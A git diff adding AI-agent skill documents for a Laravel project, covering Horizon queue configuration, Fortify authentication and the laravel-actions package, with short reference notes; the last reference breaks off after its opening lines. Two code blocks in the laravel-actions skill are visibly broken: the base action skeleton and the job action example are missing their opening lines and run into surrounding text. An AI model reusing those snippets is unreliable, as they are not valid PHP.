+Use `search-docs` for detailed Horizon patterns and documentation covering configuration, supervisors, balancing, dashboard authorization, tags, notifications, metrics, and deployment.
+
+For deeper guidance on specific topics, read the relevant reference file before implementing:
+
+- `references/supervisors.md` covers supervisor blocks, balancing strategies, multi-queue setups, and auto-scaling
+- `references/notifications.md` covers LongWaitDetected alerts, notification routing, and the `waits` config
+- `references/tags.md` covers job tagging, dashboard filtering, and silencing noisy jobs
+- `references/metrics.md` covers the blank metrics dashboard, snapshot scheduling, and retention config
+
+## Basic Usage
+
+### Installation
+
+```bash
+php artisan horizon:install
+```
+
+### Supervisor Configuration
+
+Define supervisors in `config/horizon.php`. The `environments` array merges into `defaults` and does not replace the whole supervisor block:
+
+
+```php
+'defaults' => [
+ 'supervisor-1' => [
+ 'connection' => 'redis',
+ 'queue' => ['default'],
+ 'balance' => 'auto',
+ 'minProcesses' => 1,
+ 'maxProcesses' => 10,
+ 'tries' => 3,
+ ],
+],
+
+'environments' => [
+ 'production' => [
+ 'supervisor-1' => ['maxProcesses' => 20, 'balanceCooldown' => 3],
+ ],
+ 'local' => [
+ 'supervisor-1' => ['maxProcesses' => 2],
+ ],
+],
+```
+
+### Dashboard Authorization
+
+Restrict access in `App\Providers\HorizonServiceProvider`:
+
+
+```php
+protected function gate(): void
+{
+ Gate::define('viewHorizon', function (User $user) {
+ return $user->is_admin;
+ });
+}
+```
+
+## Verification
+
+1. Run `php artisan horizon` and visit `/horizon`
+2. Confirm dashboard access is restricted as expected
+3. Check that metrics populate after scheduling `horizon:snapshot`
+
+## Common Pitfalls
+
+- Horizon only works with the Redis queue driver. Other drivers such as database and SQS are not supported.
+- Redis Cluster is not supported. Horizon requires a standalone Redis connection.
+- Always check `config/horizon.php` before making changes to understand the current supervisor and environment configuration.
+- The `environments` array overrides only the keys you specify. It merges into `defaults` and does not replace it.
+- The timeout chain must be ordered: job `timeout` less than supervisor `timeout` less than `retry_after`. The wrong order can cause jobs to be retried before Horizon finishes timing them out.
+- The metrics dashboard stays blank until `horizon:snapshot` is scheduled. Running `php artisan horizon` alone does not populate metrics.
+- Always use `search-docs` for the latest Horizon documentation rather than relying on this skill alone.
\ No newline at end of file
diff --git a/.agents/skills/configuring-horizon/references/metrics.md b/.agents/skills/configuring-horizon/references/metrics.md
new file mode 100644
index 000000000..312f79ee7
--- /dev/null
+++ b/.agents/skills/configuring-horizon/references/metrics.md
@@ -0,0 +1,21 @@
+# Metrics & Snapshots
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon metrics snapshot"` for the snapshot command and scheduling
+- `"horizon trim snapshots"` for retention configuration
+
+## What to Watch For
+
+### Metrics dashboard stays blank until `horizon:snapshot` is scheduled
+
+Running `horizon` artisan command does not populate metrics automatically. The metrics graph is built from snapshots, so `horizon:snapshot` must be scheduled to run every 5 minutes via Laravel's scheduler.
+
+### Register the snapshot in the scheduler rather than running it manually
+
+A single manual run populates the dashboard momentarily but will not keep it updated. Search `"horizon metrics snapshot"` for the exact scheduler registration syntax, which differs between Laravel 10 and 11+.
+
+### `metrics.trim_snapshots` is a snapshot count, not a time duration
+
+The `trim_snapshots.job` and `trim_snapshots.queue` values in `config/horizon.php` are counts of snapshots to keep, not minutes or hours. With the default of 24 snapshots at 5-minute intervals, that provides 2 hours of history. Increase the value to retain more history at the cost of Redis memory usage.
\ No newline at end of file
diff --git a/.agents/skills/configuring-horizon/references/notifications.md b/.agents/skills/configuring-horizon/references/notifications.md
new file mode 100644
index 000000000..943d1a26a
--- /dev/null
+++ b/.agents/skills/configuring-horizon/references/notifications.md
@@ -0,0 +1,21 @@
+# Notifications & Alerts
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon notifications"` for Horizon's built-in notification routing helpers
+- `"horizon long wait detected"` for LongWaitDetected event details
+
+## What to Watch For
+
+### `waits` in `config/horizon.php` controls the LongWaitDetected threshold
+
+The `waits` array (e.g., `'redis:default' => 60`) defines how many seconds a job can wait in a queue before Horizon fires a `LongWaitDetected` event. This value is set in the config file, not in Horizon's notification routing. If alerts are firing too often or too late, adjust `waits` rather than the routing configuration.
+
+### Use Horizon's built-in notification routing in `HorizonServiceProvider`
+
+Configure notifications in the `boot()` method of `App\Providers\HorizonServiceProvider` using `Horizon::routeMailNotificationsTo()`, `Horizon::routeSlackNotificationsTo()`, or `Horizon::routeSmsNotificationsTo()`. Horizon already wires `LongWaitDetected` to its notification sender, so the documented setup is notification routing rather than manual listener registration.
+
+### Failed job alerts are separate from Horizon's documented notification routing
+
+Horizon's 12.x documentation covers built-in long-wait notifications. Do not assume the docs provide a `JobFailed` listener example in `HorizonServiceProvider`. If a user needs failed job alerts, treat that as custom queue event handling and consult the queue documentation instead of Horizon's notification-routing API.
\ No newline at end of file
diff --git a/.agents/skills/configuring-horizon/references/supervisors.md b/.agents/skills/configuring-horizon/references/supervisors.md
new file mode 100644
index 000000000..9da0c1769
--- /dev/null
+++ b/.agents/skills/configuring-horizon/references/supervisors.md
@@ -0,0 +1,27 @@
+# Supervisor & Balancing Configuration
+
+## Where to Find It
+
+Search with `search-docs` before writing any supervisor config, as option names and defaults change between Horizon versions:
+- `"horizon supervisor configuration"` for the full options list
+- `"horizon balancing strategies"` for auto, simple, and false modes
+- `"horizon autoscaling workers"` for autoScalingStrategy details
+- `"horizon environment configuration"` for the defaults and environments merge
+
+## What to Watch For
+
+### The `environments` array merges into `defaults` rather than replacing it
+
+The `defaults` array defines the complete base supervisor config. The `environments` array patches it per environment, overriding only the keys listed. There is no need to repeat every key in each environment block. A common pattern is to define `connection`, `queue`, `balance`, `autoScalingStrategy`, `tries`, and `timeout` in `defaults`, then override only `maxProcesses`, `balanceMaxShift`, and `balanceCooldown` in `production`.
+
+### Use separate named supervisors to enforce queue priority
+
+Horizon does not enforce queue order when using `balance: auto` on a single supervisor. The `queue` array order is ignored for load balancing. To process `notifications` before `default`, use two separately named supervisors: one for the high-priority queue with a higher `maxProcesses`, and one for the low-priority queue with a lower cap. The docs include an explicit note about this.
+
+### Use `balance: false` to keep a fixed number of workers on a dedicated queue
+
+Auto-balancing suits variable load, but if a queue should always have exactly N workers such as a video-processing queue limited to 2, set `balance: false` and `maxProcesses: 2`. Auto-balancing would scale it up during bursts, which may be undesirable.
+
+### Set `balanceCooldown` to prevent rapid worker scaling under bursty load
+
+When using `balance: auto`, the supervisor can scale up and down rapidly under bursty load. Set `balanceCooldown` to the number of seconds between scaling decisions, typically 3 to 5, to smooth this out. `balanceMaxShift` limits how many processes are added or removed per cycle.
\ No newline at end of file
diff --git a/.agents/skills/configuring-horizon/references/tags.md b/.agents/skills/configuring-horizon/references/tags.md
new file mode 100644
index 000000000..263c955c1
--- /dev/null
+++ b/.agents/skills/configuring-horizon/references/tags.md
@@ -0,0 +1,21 @@
+# Tags & Silencing
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon tags"` for the tagging API and auto-tagging behaviour
+- `"horizon silenced jobs"` for the `silenced` and `silenced_tags` config options
+
+## What to Watch For
+
+### Eloquent model jobs are tagged automatically without any extra code
+
+If a job's constructor accepts Eloquent model instances, Horizon automatically tags the job with `ModelClass:id` such as `App\Models\User:42`. These tags are filterable in the dashboard without any changes to the job class. Only add a `tags()` method when custom tags beyond auto-tagging are needed.
+
+### `silenced` hides jobs from the dashboard completed list but does not stop them from running
+
+Adding a job class to the `silenced` array in `config/horizon.php` removes it from the completed jobs view. The job still runs normally. This is a dashboard noise-reduction tool, not a way to disable jobs.
+
+### `silenced_tags` hides all jobs carrying a matching tag from the completed list
+
+Any job carrying a matching tag string is hidden from the completed jobs view. This is useful for silencing a category of jobs such as all jobs tagged `notifications`, rather than silencing specific classes.
\ No newline at end of file
diff --git a/.agents/skills/fortify-development/SKILL.md b/.agents/skills/fortify-development/SKILL.md
new file mode 100644
index 000000000..86322d9c0
--- /dev/null
+++ b/.agents/skills/fortify-development/SKILL.md
@@ -0,0 +1,131 @@
+---
+name: fortify-development
+description: 'ACTIVATE when the user works on authentication in Laravel. This includes login, registration, password reset, email verification, two-factor authentication (2FA/TOTP/QR codes/recovery codes), profile updates, password confirmation, or any auth-related routes and controllers. Activate when the user mentions Fortify, auth, authentication, login, register, signup, forgot password, verify email, 2FA, or references app/Actions/Fortify/, CreateNewUser, UpdateUserProfileInformation, FortifyServiceProvider, config/fortify.php, or auth guards. Fortify is the frontend-agnostic authentication backend for Laravel that registers all auth routes and controllers. Also activate when building SPA or headless authentication, customizing login redirects, overriding response contracts like LoginResponse, or configuring login throttling. Do NOT activate for Laravel Passport (OAuth2 API tokens), Socialite (OAuth social login), or non-auth Laravel features.'
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Laravel Fortify Development
+
+Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications.
+
+## Documentation
+
+Use `search-docs` for detailed Laravel Fortify patterns and documentation.
+
+## Usage
+
+- **Routes**: Use `list-routes` with `only_vendor: true` and `action: "Fortify"` to see all registered endpoints
+- **Actions**: Check `app/Actions/Fortify/` for customizable business logic (user creation, password validation, etc.)
+- **Config**: See `config/fortify.php` for all options including features, guards, rate limiters, and username field
+- **Contracts**: Look in `Laravel\Fortify\Contracts\` for overridable response classes (`LoginResponse`, `LogoutResponse`, etc.)
+- **Views**: All view callbacks are set in `FortifyServiceProvider::boot()` using `Fortify::loginView()`, `Fortify::registerView()`, etc.
+
+## Available Features
+
+Enable in `config/fortify.php` features array:
+
+- `Features::registration()` - User registration
+- `Features::resetPasswords()` - Password reset via email
+- `Features::emailVerification()` - Requires User to implement `MustVerifyEmail`
+- `Features::updateProfileInformation()` - Profile updates
+- `Features::updatePasswords()` - Password changes
+- `Features::twoFactorAuthentication()` - 2FA with QR codes and recovery codes
+
+> Use `search-docs` for feature configuration options and customization patterns.
+
+## Setup Workflows
+
+### Two-Factor Authentication Setup
+
+```
+- [ ] Add TwoFactorAuthenticatable trait to User model
+- [ ] Enable feature in config/fortify.php
+- [ ] If the `*_add_two_factor_columns_to_users_table.php` migration is missing, publish via `php artisan vendor:publish --tag=fortify-migrations` and migrate
+- [ ] Set up view callbacks in FortifyServiceProvider
+- [ ] Create 2FA management UI
+- [ ] Test QR code and recovery codes
+```
+
+> Use `search-docs` for TOTP implementation and recovery code handling patterns.
+
+### Email Verification Setup
+
+```
+- [ ] Enable emailVerification feature in config
+- [ ] Implement MustVerifyEmail interface on User model
+- [ ] Set up verifyEmailView callback
+- [ ] Add verified middleware to protected routes
+- [ ] Test verification email flow
+```
+
+> Use `search-docs` for MustVerifyEmail implementation patterns.
+
+### Password Reset Setup
+
+```
+- [ ] Enable resetPasswords feature in config
+- [ ] Set up requestPasswordResetLinkView callback
+- [ ] Set up resetPasswordView callback
+- [ ] Define password.reset named route (if views disabled)
+- [ ] Test reset email and link flow
+```
+
+> Use `search-docs` for custom password reset flow patterns.
+
+### SPA Authentication Setup
+
+```
+- [ ] Set 'views' => false in config/fortify.php
+- [ ] Install and configure Laravel Sanctum for session-based SPA authentication
+- [ ] Use the 'web' guard in config/fortify.php (required for session-based authentication)
+- [ ] Set up CSRF token handling
+- [ ] Test XHR authentication flows
+```
+
+> Use `search-docs` for integration and SPA authentication patterns.
+
+#### Two-Factor Authentication in SPA Mode
+
+When `views` is set to `false`, Fortify returns JSON responses instead of redirects.
+
+If a user attempts to log in and two-factor authentication is enabled, the login request will return a JSON response indicating that a two-factor challenge is required:
+
+```json
+{
+ "two_factor": true
+}
+```
+
+## Best Practices
+
+### Custom Authentication Logic
+
+Override authentication behavior using `Fortify::authenticateUsing()` for custom user retrieval or `Fortify::authenticateThrough()` to customize the authentication pipeline. Override response contracts in `AppServiceProvider` for custom redirects.
+
+### Registration Customization
+
+Modify `app/Actions/Fortify/CreateNewUser.php` to customize user creation logic, validation rules, and additional fields.
+
+### Rate Limiting
+
+Configure via `fortify.limiters.login` in config. Default configuration throttles by username + IP combination.
+
+## Key Endpoints
+
+| Feature | Method | Endpoint |
+|------------------------|----------|---------------------------------------------|
+| Login | POST | `/login` |
+| Logout | POST | `/logout` |
+| Register | POST | `/register` |
+| Password Reset Request | POST | `/forgot-password` |
+| Password Reset | POST | `/reset-password` |
+| Email Verify Notice | GET | `/email/verify` |
+| Resend Verification | POST | `/email/verification-notification` |
+| Password Confirm | POST | `/user/confirm-password` |
+| Enable 2FA | POST | `/user/two-factor-authentication` |
+| Confirm 2FA | POST | `/user/confirmed-two-factor-authentication` |
+| 2FA Challenge | POST | `/two-factor-challenge` |
+| Get QR Code | GET | `/user/two-factor-qr-code` |
+| Recovery Codes | GET/POST | `/user/two-factor-recovery-codes` |
\ No newline at end of file
diff --git a/.agents/skills/laravel-actions/SKILL.md b/.agents/skills/laravel-actions/SKILL.md
new file mode 100644
index 000000000..862dd55b5
--- /dev/null
+++ b/.agents/skills/laravel-actions/SKILL.md
@@ -0,0 +1,302 @@
+---
+name: laravel-actions
+description: Build, refactor, and troubleshoot Laravel Actions using lorisleiva/laravel-actions. Use when implementing reusable action classes (object/controller/job/listener/command), converting service classes/controllers/jobs into actions, orchestrating workflows via faked actions, or debugging action entrypoints and wiring.
+---
+
+# Laravel Actions or `lorisleiva/laravel-actions`
+
+## Overview
+
+Use this skill to implement or update actions based on `lorisleiva/laravel-actions` with consistent structure and predictable testing patterns.
+
+## Quick Workflow
+
+1. Confirm the package is installed with `composer show lorisleiva/laravel-actions`.
+2. Create or edit an action class that uses `Lorisleiva\Actions\Concerns\AsAction`.
+3. Implement `handle(...)` with the core business logic first.
+4. Add adapter methods only when needed for the requested entrypoint:
+ - `asController` (+ route/invokable controller usage)
+ - `asJob` (+ dispatch)
+ - `asListener` (+ event listener wiring)
+ - `asCommand` (+ command signature/description)
+5. Add or update tests for the chosen entrypoint.
+6. When tests need isolation, use action fakes (`MyAction::fake()`) and assertions (`MyAction::assertDispatched()`).
+
+## Base Action Pattern
+
+Use this minimal skeleton and expand only what is needed.
+
+```php
+handle($id)`.
+- Call with dependency injection: `app(PublishArticle::class)->handle($id)`.
+
+### Run as Controller
+
+- Use route to class (invokable style), e.g. `Route::post('/articles/{id}/publish', PublishArticle::class)`.
+- Add `asController(...)` for HTTP-specific adaptation and return a response.
+- Add request validation (`rules()` or custom validator hooks) when input comes from HTTP.
+
+### Run as Job
+
+- Dispatch with `PublishArticle::dispatch($id)`.
+- Use `asJob(...)` only for queue-specific behavior; keep domain logic in `handle(...)`.
+- In this project, job Actions often define additional queue lifecycle methods and job properties for retries, uniqueness, and timing control.
+
+#### Project Pattern: Job Action with Extra Methods
+
+```php
+addMinutes(30);
+ }
+
+ public function getJobBackoff(): array
+ {
+ return [60, 120];
+ }
+
+ public function getJobUniqueId(Demo $demo): string
+ {
+ return $demo->id;
+ }
+
+ public function handle(Demo $demo): void
+ {
+ // Core business logic.
+ }
+
+ public function asJob(JobDecorator $job, Demo $demo): void
+ {
+ // Queue-specific orchestration and retry behavior.
+ $this->handle($demo);
+ }
+}
+```
+
+Use these members only when needed:
+
+- `$jobTries`: max attempts for the queued execution.
+- `$jobMaxExceptions`: max unhandled exceptions before failing.
+- `getJobRetryUntil()`: absolute retry deadline.
+- `getJobBackoff()`: retry delay strategy per attempt.
+- `getJobUniqueId(...)`: deduplication key for unique jobs.
+- `asJob(JobDecorator $job, ...)`: access attempt metadata and queue-only branching.
+
+### Run as Listener
+
+- Register the action class as listener in `EventServiceProvider`.
+- Use `asListener(EventName $event)` and delegate to `handle(...)`.
+
+### Run as Command
+
+- Define `$commandSignature` and `$commandDescription` properties.
+- Implement `asCommand(Command $command)` and keep console IO in this method only.
+- Import `Command` with `use Illuminate\Console\Command;`.
+
+## Testing Guidance
+
+Use a two-layer strategy:
+
+1. `handle(...)` tests for business correctness.
+2. entrypoint tests (`asController`, `asJob`, `asListener`, `asCommand`) for wiring/orchestration.
+
+### Deep Dive: `AsFake` methods (2.x)
+
+Reference: https://www.laravelactions.com/2.x/as-fake.html
+
+Use these methods intentionally based on what you want to prove.
+
+#### `mock()`
+
+- Replaces the action with a full mock.
+- Best when you need strict expectations and argument assertions.
+
+```php
+PublishArticle::mock()
+ ->shouldReceive('handle')
+ ->once()
+ ->with(42)
+ ->andReturnTrue();
+```
+
+#### `partialMock()`
+
+- Replaces the action with a partial mock.
+- Best when you want to keep most real behavior but stub one expensive/internal method.
+
+```php
+PublishArticle::partialMock()
+ ->shouldReceive('fetchRemoteData')
+ ->once()
+ ->andReturn(['ok' => true]);
+```
+
+#### `spy()`
+
+- Replaces the action with a spy.
+- Best for post-execution verification ("was called with X") without predefining all expectations.
+
+```php
+$spy = PublishArticle::spy()->allows('handle')->andReturnTrue();
+
+// execute code that triggers the action...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+#### `shouldRun()`
+
+- Shortcut for `mock()->shouldReceive('handle')`.
+- Best for compact orchestration assertions.
+
+```php
+PublishArticle::shouldRun()->once()->with(42)->andReturnTrue();
+```
+
+#### `shouldNotRun()`
+
+- Shortcut for `mock()->shouldNotReceive('handle')`.
+- Best for guard-clause tests and branch coverage.
+
+```php
+PublishArticle::shouldNotRun();
+```
+
+#### `allowToRun()`
+
+- Shortcut for spy + allowing `handle`.
+- Best when you want execution to proceed but still assert interaction.
+
+```php
+$spy = PublishArticle::allowToRun()->andReturnTrue();
+// ...
+$spy->shouldHaveReceived('handle')->once();
+```
+
+#### `isFake()` and `clearFake()`
+
+- `isFake()` checks whether the class is currently swapped.
+- `clearFake()` resets the fake and prevents cross-test leakage.
+
+```php
+expect(PublishArticle::isFake())->toBeFalse();
+PublishArticle::mock();
+expect(PublishArticle::isFake())->toBeTrue();
+PublishArticle::clearFake();
+expect(PublishArticle::isFake())->toBeFalse();
+```
+
+### Recommended test matrix for Actions
+
+- Business rule test: call `handle(...)` directly with real dependencies/factories.
+- HTTP wiring test: hit route/controller, fake downstream actions with `shouldRun` or `shouldNotRun`.
+- Job wiring test: dispatch action as job, assert expected downstream action calls.
+- Event listener test: dispatch event, assert action interaction via fake/spy.
+- Console test: run artisan command, assert action invocation and output.
+
+### Practical defaults
+
+- Prefer `shouldRun()` and `shouldNotRun()` for readability in branch tests.
+- Prefer `spy()`/`allowToRun()` when behavior is mostly real and you only need call verification.
+- Prefer `mock()` when interaction contracts are strict and should fail fast.
+- Use `clearFake()` in cleanup when a fake might leak into another test.
+- Keep side effects isolated: fake only the action under test boundary, not everything.
+
+### Pest style examples
+
+```php
+it('dispatches the downstream action', function () {
+ SendInvoiceEmail::shouldRun()->once()->withArgs(fn (int $invoiceId) => $invoiceId > 0);
+
+ FinalizeInvoice::run(123);
+});
+
+it('does not dispatch when invoice is already sent', function () {
+ SendInvoiceEmail::shouldNotRun();
+
+ FinalizeInvoice::run(123, alreadySent: true);
+});
+```
+
+Run the minimum relevant suite first, e.g. `php artisan test --compact --filter=PublishArticle` or by specific test file.
+
+## Troubleshooting Checklist
+
+- Ensure the class uses `AsAction` and namespace matches autoload.
+- Check route registration when used as controller.
+- Check queue config when using `dispatch`.
+- Verify event-to-listener mapping in `EventServiceProvider`.
+- Keep transport concerns in adapter methods (`asController`, `asCommand`, etc.), not in `handle(...)`.
+
+## Common Pitfalls
+
+- Putting HTTP response/redirect logic inside `handle(...)` instead of `asController(...)`.
+- Duplicating business rules across `as*` methods rather than delegating to `handle(...)`.
+- Assuming listener wiring works without explicit registration where required.
+- Testing only entrypoints and skipping direct `handle(...)` behavior tests.
+- Overusing Actions for one-off, single-context logic with no reuse pressure.
+
+## Topic References
+
+Use these references for deep dives by entrypoint/topic. Keep `SKILL.md` focused on workflow and decision rules.
+
+- Object entrypoint: `references/object.md`
+- Controller entrypoint: `references/controller.md`
+- Job entrypoint: `references/job.md`
+- Listener entrypoint: `references/listener.md`
+- Command entrypoint: `references/command.md`
+- With attributes: `references/with-attributes.md`
+- Testing and fakes: `references/testing-fakes.md`
+- Troubleshooting: `references/troubleshooting.md`
\ No newline at end of file
diff --git a/.agents/skills/laravel-actions/references/command.md b/.agents/skills/laravel-actions/references/command.md
new file mode 100644
index 000000000..a7b255daf
--- /dev/null
+++ b/.agents/skills/laravel-actions/references/command.md
@@ -0,0 +1,160 @@
+# Command Entrypoint (`asCommand`)
+
+## Scope
+
+Use this reference when exposing actions as Artisan commands.
+
+## Recap
+
+- Documents command execution via `asCommand(...)` and fallback to `handle(...)`.
+- Covers command metadata via methods/properties (signature, description, help, hidden).
+- Includes registration example and focused artisan test pattern.
+- Reinforces separation between console I/O and domain logic.
+
+## Recommended pattern
+
+- Define `$commandSignature` and `$commandDescription`.
+- Implement `asCommand(Command $command)` for console I/O.
+- Keep business logic in `handle(...)`.
+
+## Methods used (`CommandDecorator`)
+
+### `asCommand`
+
+Called when executed as a command. If missing, it falls back to `handle(...)`.
+
+```php
+use Illuminate\Console\Command;
+
+class UpdateUserRole
+{
+ use AsAction;
+
+ public string $commandSignature = 'users:update-role {user_id} {role}';
+
+ public function handle(User $user, string $newRole): void
+ {
+ $user->update(['role' => $newRole]);
+ }
+
+ public function asCommand(Command $command): void
+ {
+ $this->handle(
+ User::findOrFail($command->argument('user_id')),
+ $command->argument('role')
+ );
+
+ $command->info('Done!');
+ }
+}
+```
+
+### `getCommandSignature`
+
+Defines the command signature. Required when registering an action as a command if no `$commandSignature` property is set.
+
+```php
+public function getCommandSignature(): string
+{
+ return 'users:update-role {user_id} {role}';
+}
+```
+
+### `$commandSignature`
+
+Property alternative to `getCommandSignature`.
+
+```php
+public string $commandSignature = 'users:update-role {user_id} {role}';
+```
+
+### `getCommandDescription`
+
+Provides command description.
+
+```php
+public function getCommandDescription(): string
+{
+ return 'Updates the role of a given user.';
+}
+```
+
+### `$commandDescription`
+
+Property alternative to `getCommandDescription`.
+
+```php
+public string $commandDescription = 'Updates the role of a given user.';
+```
+
+### `getCommandHelp`
+
+Provides additional help text shown with `--help`.
+
+```php
+public function getCommandHelp(): string
+{
+ return 'My help message.';
+}
+```
+
+### `$commandHelp`
+
+Property alternative to `getCommandHelp`.
+
+```php
+public string $commandHelp = 'My help message.';
+```
+
+### `isCommandHidden`
+
+Defines whether command should be hidden from artisan list. Default is `false`.
+
+```php
+public function isCommandHidden(): bool
+{
+ return true;
+}
+```
+
+### `$commandHidden`
+
+Property alternative to `isCommandHidden`.
+
+```php
+public bool $commandHidden = true;
+```
+
+## Examples
+
+### Register in console kernel
+
+```php
+// app/Console/Kernel.php
+protected $commands = [
+ UpdateUserRole::class,
+];
+```
+
+### Focused command test
+
+```php
+$this->artisan('users:update-role 1 admin')
+ ->expectsOutput('Done!')
+ ->assertSuccessful();
+```
+
+## Checklist
+
+- `use Illuminate\Console\Command;` is imported.
+- Signature/options/arguments are documented.
+- Command test verifies invocation and output.
+
+## Common pitfalls
+
+- Mixing command I/O with domain logic in `handle(...)`.
+- Missing/ambiguous command signature.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-command.html
\ No newline at end of file
diff --git a/.agents/skills/laravel-actions/references/controller.md b/.agents/skills/laravel-actions/references/controller.md
new file mode 100644
index 000000000..d48c34df8
--- /dev/null
+++ b/.agents/skills/laravel-actions/references/controller.md
@@ -0,0 +1,339 @@
+# Controller Entrypoint (`asController`)
+
+## Scope
+
+Use this reference when exposing an action through HTTP routes.
+
+## Recap
+
+- Documents controller lifecycle around `asController(...)` and response adapters.
+- Covers routing patterns, middleware, and optional in-action `routes()` registration.
+- Summarizes validation/authorization hooks used by `ActionRequest`.
+- Provides extension points for JSON/HTML responses and failure customization.
+
+## Recommended pattern
+
+- Route directly to action class when appropriate.
+- Keep HTTP adaptation in controller methods (`asController`, `jsonResponse`, `htmlResponse`).
+- Keep domain logic in `handle(...)`.
+
+## Methods provided (`AsController` trait)
+
+### `__invoke`
+
+Required so Laravel can register the action class as an invokable controller.
+
+```php
+$action($someArguments);
+
+// Equivalent to:
+$action->handle($someArguments);
+```
+
+If the method does not exist, Laravel route registration fails for invokable controllers.
+
+```php
+// Illuminate\Routing\RouteAction
+protected static function makeInvokable($action)
+{
+ if (! method_exists($action, '__invoke')) {
+ throw new UnexpectedValueException("Invalid route action: [{$action}].");
+ }
+
+ return $action.'@__invoke';
+}
+```
+
+If you need your own `__invoke`, alias the trait implementation:
+
+```php
+class MyAction
+{
+ use AsAction {
+ __invoke as protected invokeFromLaravelActions;
+ }
+
+ public function __invoke()
+ {
+ // Custom behavior...
+ }
+}
+```
+
+## Methods used (`ControllerDecorator` + `ActionRequest`)
+
+### `asController`
+
+Called when used as invokable controller. If missing, it falls back to `handle(...)`.
+
+```php
+public function asController(User $user, Request $request): Response
+{
+ $article = $this->handle(
+ $user,
+ $request->get('title'),
+ $request->get('body')
+ );
+
+ return redirect()->route('articles.show', [$article]);
+}
+```
+
+### `jsonResponse`
+
+Called after `asController` when request expects JSON.
+
+```php
+public function jsonResponse(Article $article, Request $request): ArticleResource
+{
+ return new ArticleResource($article);
+}
+```
+
+### `htmlResponse`
+
+Called after `asController` when request expects HTML.
+
+```php
+public function htmlResponse(Article $article, Request $request): Response
+{
+ return redirect()->route('articles.show', [$article]);
+}
+```
+
+### `getControllerMiddleware`
+
+Adds middleware directly on the action controller.
+
+```php
+public function getControllerMiddleware(): array
+{
+ return ['auth', MyCustomMiddleware::class];
+}
+```
+
+### `routes`
+
+Defines routes directly in the action.
+
+```php
+public static function routes(Router $router)
+{
+ $router->get('author/{author}/articles', static::class);
+}
+```
+
+To enable this, register routes from actions in a service provider:
+
+```php
+use Lorisleiva\Actions\Facades\Actions;
+
+Actions::registerRoutes();
+Actions::registerRoutes('app/MyCustomActionsFolder');
+Actions::registerRoutes([
+ 'app/Authentication',
+ 'app/Billing',
+ 'app/TeamManagement',
+]);
+```
+
+### `prepareForValidation`
+
+Called before authorization and validation are resolved.
+
+```php
+public function prepareForValidation(ActionRequest $request): void
+{
+ $request->merge(['some' => 'additional data']);
+}
+```
+
+### `authorize`
+
+Defines authorization logic.
+
+```php
+public function authorize(ActionRequest $request): bool
+{
+ return $request->user()->role === 'author';
+}
+```
+
+You can also return gate responses:
+
+```php
+use Illuminate\Auth\Access\Response;
+
+public function authorize(ActionRequest $request): Response
+{
+ if ($request->user()->role !== 'author') {
+ return Response::deny('You must be an author to create a new article.');
+ }
+
+ return Response::allow();
+}
+```
+
+### `rules`
+
+Defines validation rules.
+
+```php
+public function rules(): array
+{
+ return [
+ 'title' => ['required', 'min:8'],
+ 'body' => ['required', IsValidMarkdown::class],
+ ];
+}
+```
+
+### `withValidator`
+
+Adds custom validation logic with an after hook.
+
+```php
+use Illuminate\Validation\Validator;
+
+public function withValidator(Validator $validator, ActionRequest $request): void
+{
+ $validator->after(function (Validator $validator) use ($request) {
+ if (! Hash::check($request->get('current_password'), $request->user()->password)) {
+ $validator->errors()->add('current_password', 'Wrong password.');
+ }
+ });
+}
+```
+
+### `afterValidator`
+
+Alternative to add post-validation checks.
+
+```php
+use Illuminate\Validation\Validator;
+
+public function afterValidator(Validator $validator, ActionRequest $request): void
+{
+ if (! Hash::check($request->get('current_password'), $request->user()->password)) {
+ $validator->errors()->add('current_password', 'Wrong password.');
+ }
+}
+```
+
+### `getValidator`
+
+Provides a custom validator instead of default rules pipeline.
+
+```php
+use Illuminate\Validation\Factory;
+use Illuminate\Validation\Validator;
+
+public function getValidator(Factory $factory, ActionRequest $request): Validator
+{
+ return $factory->make($request->only('title', 'body'), [
+ 'title' => ['required', 'min:8'],
+ 'body' => ['required', IsValidMarkdown::class],
+ ]);
+}
+```
+
+### `getValidationData`
+
+Defines which data is validated (default: `$request->all()`).
+
+```php
+public function getValidationData(ActionRequest $request): array
+{
+ return $request->all();
+}
+```
+
+### `getValidationMessages`
+
+Custom validation error messages.
+
+```php
+public function getValidationMessages(): array
+{
+ return [
+ 'title.required' => 'Looks like you forgot the title.',
+ 'body.required' => 'Is that really all you have to say?',
+ ];
+}
+```
+
+### `getValidationAttributes`
+
+Human-friendly names for request attributes.
+
+```php
+public function getValidationAttributes(): array
+{
+ return [
+ 'title' => 'headline',
+ 'body' => 'content',
+ ];
+}
+```
+
+### `getValidationRedirect`
+
+Custom redirect URL on validation failure.
+
+```php
+public function getValidationRedirect(UrlGenerator $url): string
+{
+ return $url->to('/my-custom-redirect-url');
+}
+```
+
+### `getValidationErrorBag`
+
+Custom error bag name on validation failure (default: `default`).
+
+```php
+public function getValidationErrorBag(): string
+{
+ return 'my_custom_error_bag';
+}
+```
+
+### `getValidationFailure`
+
+Override validation failure behavior.
+
+```php
+public function getValidationFailure(): void
+{
+ throw new MyCustomValidationException();
+}
+```
+
+### `getAuthorizationFailure`
+
+Override authorization failure behavior.
+
+```php
+public function getAuthorizationFailure(): void
+{
+ throw new MyCustomAuthorizationException();
+}
+```
+
+## Checklist
+
+- Route wiring points to the action class.
+- `asController(...)` delegates to `handle(...)`.
+- Validation/authorization methods are explicit where needed.
+- Response mapping is split by channel (`jsonResponse`, `htmlResponse`) when useful.
+- HTTP tests cover both success and validation/authorization failure branches.
+
+## Common pitfalls
+
+- Putting response/redirect logic in `handle(...)`.
+- Duplicating business rules in `asController(...)` instead of delegating.
+- Assuming action route discovery works without `Actions::registerRoutes(...)` when using in-action `routes()`.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-controller.html
\ No newline at end of file
diff --git a/.agents/skills/laravel-actions/references/job.md b/.agents/skills/laravel-actions/references/job.md
new file mode 100644
index 000000000..b4c7cbea0
--- /dev/null
+++ b/.agents/skills/laravel-actions/references/job.md
@@ -0,0 +1,425 @@
+# Job Entrypoint (`dispatch`, `asJob`)
+
+## Scope
+
+Use this reference when running an action through queues.
+
+## Recap
+
+- Lists async/sync dispatch helpers and conditional dispatch variants.
+- Covers job wrapping/chaining with `makeJob`, `makeUniqueJob`, and `withChain`.
+- Documents queue assertion helpers for tests (`assertPushed*`).
